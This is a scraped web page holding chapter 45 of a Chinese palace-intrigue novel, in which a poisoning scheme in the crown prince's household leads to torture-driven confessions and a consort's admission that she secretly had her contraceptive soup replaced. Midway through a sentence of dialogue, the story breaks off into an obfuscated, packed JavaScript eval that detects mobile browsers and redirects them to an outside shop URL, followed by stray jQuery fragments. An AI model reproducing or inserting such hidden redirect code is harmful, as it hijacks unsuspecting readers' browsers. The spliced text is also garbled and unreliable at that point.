默认冷灰
24号文字
方正启体

45. 第 45 章

作者:纸豆本书字数:K更新时间:
    承庆殿一场风波过去,东宫里正热闹。


    念蕊揪着王娘子的衣摆,鼻涕眼泪糊了满脸,“表姐救我。”


    “我好心救你,你倒吃里扒外。”王娘子恨铁不成钢,用力甩掉她的手,衣服都扯坏了,她也不敢在这个时候计较,眼睛往池赟身边飘,见他端着手,面上一丝表情也没有,知道这小丫头是在劫难逃了。


    今儿个早上,念心交代她炖雪梨羹,这等事,早不必她亲自去做了,一向是交给念蕊的。


    突然承庆殿的王公公带人闯进来,一句话不说就把她和念蕊拿下了,她正要喊,嘴被人从后面捂住了,王公公只斜看了她一眼,她就不敢再动了。


    昨天夜里太子留宿西偏殿,照规矩,厨房要熬避子汤。


    她见王公公盛了一碗避子汤放到一旁,又把罐子往筲箕上一倒,滤出药渣。


    他看出他要做什么,反倒安心不少。


    王一柳把药汤和药渣摆在案桌上,请了名先生来,名先生一到先尝了药汤,再仔细分拣了药渣,一一辨认,待心中有数后跟他点了点头。


    王一柳扭头换了个表情问王娘子,“这避子汤药是谁负责熬的?”


    王娘子被放开了嘴,“回公公,是念蕊在熬。”


    念蕊被提上前,王一柳蹲在她跟前,露出白牙,“小丫头胆子不小啊,敢在避子汤里做手脚。”


    念蕊拼命摇头,“药是膳房总管给的,水是井里打的,奴婢照着吩咐,一副药四碗水熬成一碗水,绝没有做什么手脚。”


    “这药里掺了毒药,林良娣吃了腹痛,你怎么说?”


    念蕊赶忙磕头,“奴婢不知,奴婢没有下药,奴婢冤枉啊。”


    话音刚落,外头来了个人,朝念蕊脚下扔了一个白瓷瓶和一包药,王一柳喝道:“这是从你铺盖卷里搜出来的断肠草和巴豆,你还敢狡辩。”


    念蕊傻了一般,只知道磕头,原本还算利索的嘴这会儿已经说不出成句的话,“没有,我不知,不知……”


    她转过头抓王娘子的衣摆,“表姐,我没有,你救救我,救救我。”


    王娘子一开始是懵了,这会儿倒像是想明白了什么,毒药下在避子汤里比下在菜里好,不然被太子吃了,再有个好歹,她一家子的命都没了,她惊出一身冷汗,哪里还能顾得上念蕊的死活,想办法把自己摘出去才是紧要。


    “奴婢也不知道是怎么回事,此事跟奴婢无关。”


    王一柳觑她一眼,“自然是从谁的被窝里搜出来的毒药谁就该死,可这该死的人是不是只有她一个,你这个同居一室的人竟然不知?怕是说不过去吧。”


    这段时间,念蕊比以前长进了很多,不仅是听话懂事,学东西也勤奋,回了屋不需她使唤就主动给她洗脚捏肩捶背,她以为这丫头长大了,心眼长实了,待她比以前好许多,很多事也敢放心让她一个人去做。


    想来问题就出现在这里,可是要她用断肠草下毒害林良娣,这种蠢事当是做不出来的,她不敢贸然开口,只道:“奴婢是承庆殿出身的,林良娣是皇后的娘家人啊,奴婢要是发现她生了坏心,第一个不会放过她。”


    念蕊被带走了,王娘子则被人看管起来,王一柳要她仔细回想念蕊在东宫可有其他亲近的人,断肠草是宫外的东西,她又没出过宫,从何得来?


    念蕊被带进东宫暗房,上了一顿夹手棍刑,晾了她半个时辰,两个看管嬷嬷上前提起她,把她的双手往盐水里浸,念蕊惨叫着,一个嬷嬷不停追问,另一个嬷嬷拿了绣花针在她手臂处扎针,扎得快而深,深而密,不到晌午,她就开了口。


    崇文殿,凌珵锁眉盯着手中的小白瓷瓶。


    王一柳跪在下首,“奴婢查得,念蕊被褥里搜出来的巴豆是念棋给的,她说王娘子待她刻薄,她恨急,想要杀她。”


    “避子汤药可有问题?”


    王一柳道:“名先生说,那不是避子汤药,是养生汤。”


    “念棋呢?”


    “还在审问。”


    张本心从外头进来,“殿下,念棋招了。”他眉眼间有些顾虑,“说是林良娣指使。”


    念棋不仅招供了巴豆之事,就连被换了的避子汤药一事也招供了。


    凌珵听后,沉吟片刻,起身去了西偏殿。


    念棋跪在屋中,哭诉道:“奴婢常在外传话,认识的人多,林良娣说若我能助她,她就向太子殿下抬举我做良娣,奴婢鬼迷心窍,信以为真,想法子收买了念蕊。”


    她伏跪在地上,声音却响亮得整个屋子的人都能听清。


    “奴婢让念蕊把避子汤药换成了温良进补的药,半个月前,林良娣说她大约有喜了,又担心念蕊知道的太多,未免夜长梦多,要尽早除去才好。”


    “林良娣还说,小厨房还是要有自己的人才放心,奴婢知道念蕊怨恨王娘子待她刻薄,就刻意挑拨,让念蕊起了报复之心,没多久她果真找奴婢要了巴豆,本想着她给王娘子吃了以后,奴婢再悄悄告诉王娘子,如此一石二鸟,既可收买王娘子,也能除去念蕊。”


    林姵芷还没说什么,念心先沉不住气,怒道:“胡说八道,娘娘平时从不与你闲话,出入都有我伺候,哪里与你联系?”


    念棋重重磕头,“奴婢不敢说假话,自念月走了后,奴婢就在屋里伺候,每三天守一次夜。”


    念心哑住了,看向林姵芷,盼着她能为自己辩解。


    林姵芷淡漠的瞥了念棋一眼,随后起身跪下。


    “事已至此,我无可辩解。”


    满室寂静,念心攀着林姵芷的手臂,“娘娘,切莫胡言。”


    凌珵盯着她,“你可知你在说什么?”


    林姵芷道:“念棋所说都是真的,我想要为殿下生下第一个孩子。”


    池赟和张本心不由得从头把林姵芷打量了一遍,他们倒是没想到,这个平时温柔羸弱得近乎怯懦的女子竟有这份志气。


    “我知此举有违宫制,可我从丘山而来,远离亲人,初入宫时,因梦魇一事屡屡被罚,每日惶恐不安,即便后来侥幸得殿下怜惜也仍旧惊惶不定,殿下的恩宠如水中明月,我抓不住,我便想若是能得一个孩儿,即便日后失了殿下的恩宠,我也能与孩子为伴,了此余生,求殿下成全。”


    凌珵审视地看着她许久,周身都被愤怒包裹,眼前这个人,他以为她娴静无争,柔顺善良,不想却铁石心肠,极擅伪装,“林良娣幽禁西偏殿,不得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290198|198494||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出入。”


    “是。”


    太子走了,屋里更是寂静,池赟半晌才道:“林良娣是有身子的人,要保重。”说着递给念心一个眼风。


    念心赶忙把林姵芷扶到罗汉榻坐下。


    “殿下既下了令,即日起西偏殿一应人等无令不得出。”


    池赟带着念棋走了,门从外面重重关上,春日的暖阳从窗棂落在屋里,好似一层纱,把林姵芷的脸照得格外朦胧。


    念心把瘫软在地上的念书扶起来,小声道:“你去茶室把那叠水晶千层糕拿来。”


    念书抹了泪,起身去了。


    念心走到林姵芷身边,跪在她脚边,“奴婢不敢问娘娘为何要做此事,奴婢只盼着娘娘真能得偿所愿。”


    林姵芷握住念心的手,“是我连累你们了,以前教养嬷嬷跟我说过,宫里的主子犯错被罚,伺候的人若是无辜,会被送回尚宫局,重新派差事,我会寻个机会,把你和念书送回去的。”


    念心摇头,“娘娘,奴婢既来到您身边伺候您,就是您的人,就是为您去死,奴婢也是心甘情愿的。”


    西偏殿封禁,守门的侍卫较之前增加了一倍,池赟重新从御膳房要了个厨娘,一个帮厨,吩咐照管好林姵芷,又从前院库房搜出不少滋补养生之物让王一柳送去南院膳房。


    王一柳回头对身后的人道:“进了东宫,耳朵嘴巴就不是自己的了,什么话该听,什么话该说,都要仔细过过脑子,别回头连怎么死的都不知道。”


    新来的张娘子和帮厨慧儿连连磕头,张娘子道:“奴婢三代人都在林相府里做事,规矩都懂得,王公公放心。”


    林姵芷被关的第三天,曾姑姑来了,很高调的拿了西偏殿一干人,连管事宫女念心在内,都被押去了西配殿外院,又把西侧殿的人叫了去。


    曾姑姑道西偏殿的奴婢不懂规矩,教坏良娣,每人押在长凳上罚四十板,打完,各个屁股后背都被血染红了,接着又被罚去内庭监,听候发落。


    西侧殿的丫头们缩着脖子低着头,曾姑姑带着人都走了,也好半天没动,还是桃枝和柳枝反应快,默不作声地回了院里。


    下午曾姑姑又来了西偏殿,带来了皇后的旨意,要林姵芷收拾行囊,三日后启程去城外三了庵养胎,还赐下了两个嬷嬷、一名婢女和一名女医。


    深夜,王一柳守在角门,听到三声扣门,忙把门打开,小声道:“张公公。”


    王一柳侧着身子让张本心进来,又飞快关好门,紧走两步到张本心身后一步处,道:“太子殿下在崇文殿等您。”


    张本心点点头,手一挥,王一柳弯腰停在原地,见人走远了才直起身转身往后罩房去。


    凌珵正在看书信,见张本心进来了把东西放下,望向他。


    张本心躬身道:“禀殿下,奴婢查得念棋是荒年进的京城,私人牙子卖给尚宫局充数的,在京城并无亲眷故交,去年林良娣进东宫,尚宫局点了她去伺候,起初她只负责在外传话,念月走后,念心便把她叫进了屋内伺候,今年春节后,念棋频繁与尹良娣身边的桃枝接触,不过是她主动接近的,因她常去小厨房提膳,慢慢地跟念蕊也熟悉起来。”


    凌珵蹙眉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)